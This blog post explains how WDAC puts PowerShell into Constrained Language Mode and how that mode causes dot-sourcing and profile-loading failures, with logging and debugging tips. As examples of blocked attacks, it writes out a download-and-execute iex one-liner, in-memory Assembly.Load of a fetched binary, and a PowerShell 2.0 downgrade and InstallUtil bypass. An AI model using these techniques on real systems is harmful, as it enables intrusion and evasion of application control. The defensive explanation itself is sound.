top of page

PowerShell Constrained Language Mode: The WDAC Security Feature That's Breaking Your Scripts

When Windows Defender Application Control (WDAC) is deployed in your environment, you might notice something peculiar happening with your PowerShell scripts. Commands that used to work perfectly are suddenly failing with cryptic errors, and your interactive PowerShell session feels... limited. Welcome to the world of PowerShell Constrained Language Mode – a powerful security feature that WDAC enables by default, and one that comes with some surprising gotchas around language mode boundary crossings.


What is PowerShell Constrained Language Mode?


PowerShell operates in different language modes that determine what functionality is available to users. There are four primary modes:

  • FullLanguage: Complete PowerShell functionality with unrestricted access to all .NET types and methods

  • ConstrainedLanguage: Restricted object types and limited .NET access - this is where WDAC takes you

  • RestrictedLanguage: Commands and functions only, no script blocks

  • NoLanguage: Commands only, completely locked down


You can check your current language mode by running:

$ExecutionContext.SessionState.LanguageMode

How WDAC Automatically Enables Constrained Language Mode


Here's where things get interesting. When WDAC (or AppLocker script rules) is active on a system, PowerShell automatically determines which language mode to use based on a clever detection mechanism.

PowerShell performs a simple test: it attempts to create a temporary test script with a randomized filename in the pattern __PSScriptPolicyTest_????????.???.ps1 or __PSScriptPolicyTest_????????.???.psm1 in the C:\Users\*\AppData\Local\Temp\ directory.


  • If the test script is allowed: PowerShell runs in FullLanguage mode

  • If the test script is blocked: PowerShell switches to ConstrainedLanguage mode


This means that in a WDAC-protected environment:

  • Trusted scripts (those allowed by the WDAC policy) run in FullLanguage mode with complete PowerShell capabilities

  • Interactive PowerShell sessions run in ConstrainedLanguage mode by default, providing a security barrier against malicious commands


The Security Benefits


Constrained Language Mode provides significant security advantages:


  1. Limits .NET type access: Attackers can't easily access dangerous .NET classes like System.Reflection or System.Runtime.InteropServices

  2. Restricts object manipulation: Complex object operations that could be used for exploitation are blocked

  3. Prevents advanced PowerShell abuse: Many advanced PowerShell attack techniques rely on full language capabilities


For example, in Constrained Language Mode, this malicious code will fail:

# Attempt to download and execute code directly from the internet
(New-Object System.Net.WebClient).DownloadString("http://example.com") | iex

# Download a file as a byte[] array
$bytes = (Invoke-WebRequest "http://example.com/path/to/binary.exe").Content

# Load the byte array as an assembly in memory
$assembly = [System.Reflection.Assembly]::Load($bytes)

This example demonstrates a common attack pattern where malicious PowerShell code downloads and executes binaries directly from the internet, loading them into memory without writing files to disk - a technique often used to bypass antivirus software. Constrained Language Mode blocks these dangerous .NET method invocations, preventing such in-memory assembly loading attacks.

While basic cmdlets and simple operations still work:

Write-Host "This works fine"
Get-Process | Select-Object Name

The Core Problem: Crossing Language Mode Boundaries


The fundamental issue with Constrained Language Mode is about crossing boundaries between different language modes - and PowerShell strictly prevents this for security reasons. As Microsoft explains: "We don't want to leak variables or functions between sessions running in different language modes."

If an untrusted script could be dot-sourced into a trusted script running in FullLanguage mode, it would gain access to all the powerful functions available in that mode - essentially bypassing the application control policy through arbitrary code execution or privilege escalation.


Here's what happens when you try to cross these boundaries:


  • ConstrainedLanguage session tries to dot-source a FullLanguage script

  • FullLanguage script tries to dot-source a ConstrainedLanguage script

  • Same language mode dot sourcing works fine ✅


This boundary crossing protection is intentional and critical for security.


The Dot Sourcing Problem: Understanding the Triggers


Now we come to the specific scenarios that trigger problematic dot sourcing behavior. There are two main situations where this language mode boundary crossing becomes an issue:


Scenario 1: Explicit Dot Sourcing

This is the traditional dot sourcing syntax that administrators might use:

. .\MyScript.ps1  # Explicit dot sourcing

When you explicitly dot source a script, PowerShell loads it into the current scope. If that script has a different language mode than your current session, you'll get the boundary crossing error.


Scenario 2: The Hidden Trigger - PowerShell.exe -File with [CmdletBinding()]


This is the less obvious scenario that catches many people off guard. When you use both of these conditions together:

  1. PowerShell.exe -File script.ps1 (using the -File parameter)

  2. The script contains [CmdletBinding()]


PowerShell automatically uses dot sourcing behavior, which can trigger the language mode boundary crossing issue. Neither condition alone causes problems - it's specifically their combination.


Scenario 3: Profile Loading


PowerShell automatically dot sources profile.ps1 files at startup, which can create the boundary crossing issue if your profile needs FullLanguage capabilities.

Real-World Examples of Language Mode Boundary Issues


Microsoft's Documentation Example


Here's Microsoft's example showing what happens when you try to cross language mode boundaries:

# MyScript.ps1 (untrusted - runs in ConstrainedLanguage)
Write-Output "Dot sourcing MyHelper.ps1 script file"
. c:\MyHelper.ps1  # Explicit dot sourcing
HelperFn1

# MyHelper.ps1 (trusted and signed - runs in FullLanguage)
function HelperFn1 {
    "Language mode: $($ExecutionContext.SessionState.LanguageMode)"
    [System.Console]::WriteLine("This can only run in FullLanguage mode!")
}

When the ConstrainedLanguage script tries to dot-source the FullLanguage script:

Cannot dot-source this command because it was defined in a different language mode. 
To invoke this command without importing its contents, omit the '.' operator.

The key principle: PowerShell is protecting the security boundary between language modes. This isn't a bug - it's a critical security feature preventing privilege escalation and application control bypass.


The SCCM Real-World Impact

Microsoft SCCM encountered the combination trigger issue with -File and [CmdletBinding()]. Here's how they had to adapt:


Original failing approach:

# This fails because it combines -File with a script containing [CmdletBinding()]
# which triggers dot sourcing, causing a language mode boundary crossing
PowerShell.exe -NonInteractive -NoProfile -ExecutionPolicy RemoteSigned -File 'C:\WINDOWS\CCM\ScriptStore\[SCRIPT_HASH].ps1'

Working solutions:

# Option 1: Using Invoke-Expression (avoids -File parameter)
PowerShell.exe -NonInteractive -NoProfile -ExecutionPolicy RemoteSigned -Command "Invoke-Expression 'C:\WINDOWS\CCM\ScriptStore\[SCRIPT_HASH].ps1' | ConvertTo-Json -Compress"

# Option 2: Using Invoke-Command with ScriptBlock (avoids dot sourcing entirely)
PowerShell.exe -NonInteractive -NoProfile -ExecutionPolicy RemoteSigned -Command "Invoke-Command -ScriptBlock {& 'C:\WINDOWS\CCM\ScriptStore\[SCRIPT_HASH].ps1' | ConvertTo-Json -Compress}"

The Profile.ps1 Catch-22


Microsoft highlights a particularly frustrating scenario: PowerShell profile files. This creates what they call a "catch 22 situation":

  1. Profile.ps1 files are automatically dot-sourced into the current session at startup

  2. If your profile needs FullLanguage capabilities (like method invocation), it needs to be signed and trusted

  3. But if you sign it, it runs in FullLanguage mode while being dot-sourced into a ConstrainedLanguage interactive session

  4. This triggers the language mode mismatch error, and the profile fails to load


Microsoft's example shows this perfectly:

# profile.ps1 (signed and trusted)
Write-Output "Running Profile"
[System.Console]::WriteLine("This can only run in FullLanguage!")

# When PowerShell starts:
Cannot dot-source this command because it was defined in a different language mode.
To invoke this command without importing its contents, omit the '.' operator.

Microsoft's recommendation: Keep profile.ps1 files simple and don't sign them as trusted. Avoid complex operations that require FullLanguage mode in your profiles when using application control policies.


The Logging Gap and Detection Methods


One of the most frustrating aspects of this issue is the lack of clear logging in current PowerShell versions. Scripts simply fail without clear indication of why in the standard Code Integrity logs.

PowerShell 5.x: Using Transcript Logging

For PowerShell 5.x environments, you can use PowerShell transcript logging to help identify dot sourcing and language mode boundary issues. Enable transcript logging through Group Policy or registry settings:

# Enable transcript logging via registry
$regPath = "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription"
New-Item -Path $regPath -Force
Set-ItemProperty -Path $regPath -Name "EnableTranscripting" -Value 1
Set-ItemProperty -Path $regPath -Name "OutputDirectory" -Value "C:\PowerShellTranscripts"
Set-ItemProperty -Path $regPath -Name "EnableInvocationHeader" -Value 1

When language mode boundary crossings fail, the transcript will capture:

  • The actual commands being executed

  • The language mode context

  • The specific error messages that aren't always visible in regular logs


Look for patterns like:

**********************
Command start time: 20241204154422
**********************
PS>. 'C:\Scripts\TrustedScript.ps1'
Cannot dot-source this command because it was defined in a different language mode...

PowerShell 7.4+: Enhanced Audit Logging and Debugging


Excellent news: PowerShell 7.4+ has significantly improved the visibility into language mode boundary issues and Constrained Language Mode restrictions through enhanced audit logging and debugging capabilities.


Audit Mode Support


PowerShell 7.4 introduced comprehensive Audit mode support for App Control policies. In audit mode:

  • PowerShell runs untrusted scripts in ConstrainedLanguage mode without errors

  • Instead of blocking operations, it logs detailed messages to the event log

  • The log messages describe exactly what restrictions would apply if the policy were in Enforce mode


This is a game-changer for troubleshooting and policy development!


Enabling the PowerShellCore/Analytic Log


The audit events are logged to the PowerShellCore/Analytic event log, but it's not enabled by default. To enable it:


Method 1: Event Viewer

  1. Open Windows Event Viewer

  2. Navigate to PowerShellCore/Analytic log

  3. Right-click and select "Enable Log"


Method 2: Command Line

# Run from an elevated PowerShell session
wevtutil.exe sl PowerShellCore/Analytic /enabled:true /quiet

Viewing Detailed Audit Events

To check for audit events that reveal language mode issues:

Get-WinEvent -LogName PowerShellCore/Analytic -Oldest | Where-Object Id -eq 16387 | Format-List

What You'll See in PowerShell 7.4+ Audit Logs

Here's an example of the detailed information you get from Event ID 16387:

TimeCreated      : 4/19/2023 10:11:07 AM
ProviderName     : PowerShellCore
Id              : 16387
Message         : App Control Audit.
                  Title: Method or Property Invocation
                  Message: Method or Property 'WriteLine' on type 'System.Console' invocation will not
                  be allowed in ConstrainedLanguage mode.
                  At C:\scripts\Test1.ps1:3 char:1
                  + [System.Console]::WriteLine("pwnd!")
                  + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                  FullyQualifiedId: MethodOrPropertyInvocationNotAllowed

The key improvements you get:

  • Exact script location: Shows the file, line number, and character position

  • Specific restriction type: Identifies what operation would be blocked

  • Code context: Shows the actual code that would fail

  • FullyQualifiedId: Provides a categorized identifier for the restriction type


This level of detail makes it much easier to identify and fix language mode boundary issues!


Real-Time Debugging Support

PowerShell 7.4+ also added interactive debugging support for audit events. If you set the debug preference to Break in an interactive session:

$DebugPreference = 'Break'

PowerShell will break into the command-line script debugger at the exact location where an audit event occurs. This allows you to:

  • Debug your code in real-time

  • Inspect the current state of variables and scope

  • Understand the execution context that triggered the restriction


Important: Disable Analytic Log After Testing

⚠️ Critical: Once you've finished reviewing audit events, disable the Analytic log:

wevtutil.exe sl PowerShellCore/Analytic /enabled:false /quiet

Why? Analytic logs grow very quickly and can consume large amounts of disk space if left enabled in production.


Common Bypass Techniques (And Why WDAC Blocks Them)

Understanding bypass techniques helps explain why Constrained Language Mode is so effective:


1. PowerShell 2.0 "Bypass"

PowerShell 2.0 doesn't support Constrained Language Mode, so attackers often try:

PowerShell.exe -Version 2

Defense: Remove PowerShell 2.0 from your systems entirely. It's an outdated version that lacks modern security features and should not be present in a secure environment.


2. Known Bypass Utilities

Tools like InstallUtil.exe can be used to bypass both AppLocker and WDAC restrictions. These are well-documented bypass techniques that WDAC's recommended block rules specifically address.


Conclusion

PowerShell Constrained Language Mode represents a significant step forward in PowerShell security, automatically engaging when application control solutions like WDAC are deployed. While it provides excellent protection against PowerShell-based attacks, it also introduces operational challenges centered around language mode boundary crossings that administrators need to understand and plan for.

The fundamental principle to remember is: PowerShell prevents mixing language modes for critical security reasons. This protection prevents privilege escalation and application control bypasses, but it means you must be careful about:


  • Explicit dot sourcing between different language modes (. .\script.ps1)

  • The combination of -File parameter with [CmdletBinding()] scripts

  • Profile.ps1 files that need FullLanguage capabilities

  • Ensuring consistent language modes across all script components


By understanding these language mode boundaries, the specific triggers that cause problems, and leveraging the enhanced logging capabilities in PowerShell 7.4+, you can successfully deploy WDAC while maintaining operational functionality.

Remember: security features like Constrained Language Mode aren't just technical hurdles to overcome – they're valuable protections that prevent serious security vulnerabilities like in-memory assembly loading and remote code execution. The key is understanding why these boundaries exist and designing your PowerShell automation to work within them rather than around them.


Have you encountered language mode boundary crossing issues in your environment? What challenges have you faced with the -File and [CmdletBinding()] combination? Share your experiences in the comments below.

 
 
 

Comments


Please reach out to request a demo, create an account, or get assistance

Thanks for submitting! We'll get back to you shortly.

© 2025 by App Control

bottom of page